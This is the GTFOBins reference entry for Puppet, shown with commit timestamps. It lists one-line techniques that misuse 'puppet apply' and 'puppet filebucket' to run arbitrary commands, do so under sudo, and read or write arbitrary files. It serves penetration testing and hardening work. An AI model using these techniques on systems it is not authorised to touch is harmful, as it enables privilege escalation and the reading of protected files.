GTFOBins.github.io/_gtfobins/puppet.md

24 lines
868 B
Markdown
Raw Normal View History

2018-06-02 14:29:54 +02:00
---
functions:
execute-non-interactive:
2018-06-03 10:58:39 +02:00
- description: The executed command output shown in the puppet log format.
2018-06-02 16:55:12 +02:00
code: |
2018-06-02 14:29:54 +02:00
export CMD="/usr/bin/id"
2018-06-03 10:58:39 +02:00
puppet apply -e "exec { '$CMD': logoutput => true }"
2018-06-02 14:29:54 +02:00
sudo-enabled:
2018-06-03 10:58:39 +02:00
- description: The executed command output shown in the puppet log format.
2018-06-02 16:55:12 +02:00
code: |
2018-06-02 14:29:54 +02:00
export CMD="/usr/bin/id"
2018-06-03 10:58:39 +02:00
sudo puppet apply -e "exec { '$CMD': logoutput => true }"
2018-06-02 14:29:54 +02:00
file-read:
2018-06-03 11:41:27 +02:00
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
2018-06-02 16:55:12 +02:00
code: |
2018-06-02 14:29:54 +02:00
export LFILE=file_to_read
puppet filebucket -l diff /dev/null $LFILE
2018-06-02 14:29:54 +02:00
file-write:
2018-06-02 16:55:12 +02:00
- description: The file path must be absolute.
code: |
2018-06-02 14:29:54 +02:00
export LFILE="/tmp/file_to_write"
puppet apply -e "file { '$LFILE': content => 'data' }"
2018-06-02 14:29:54 +02:00
---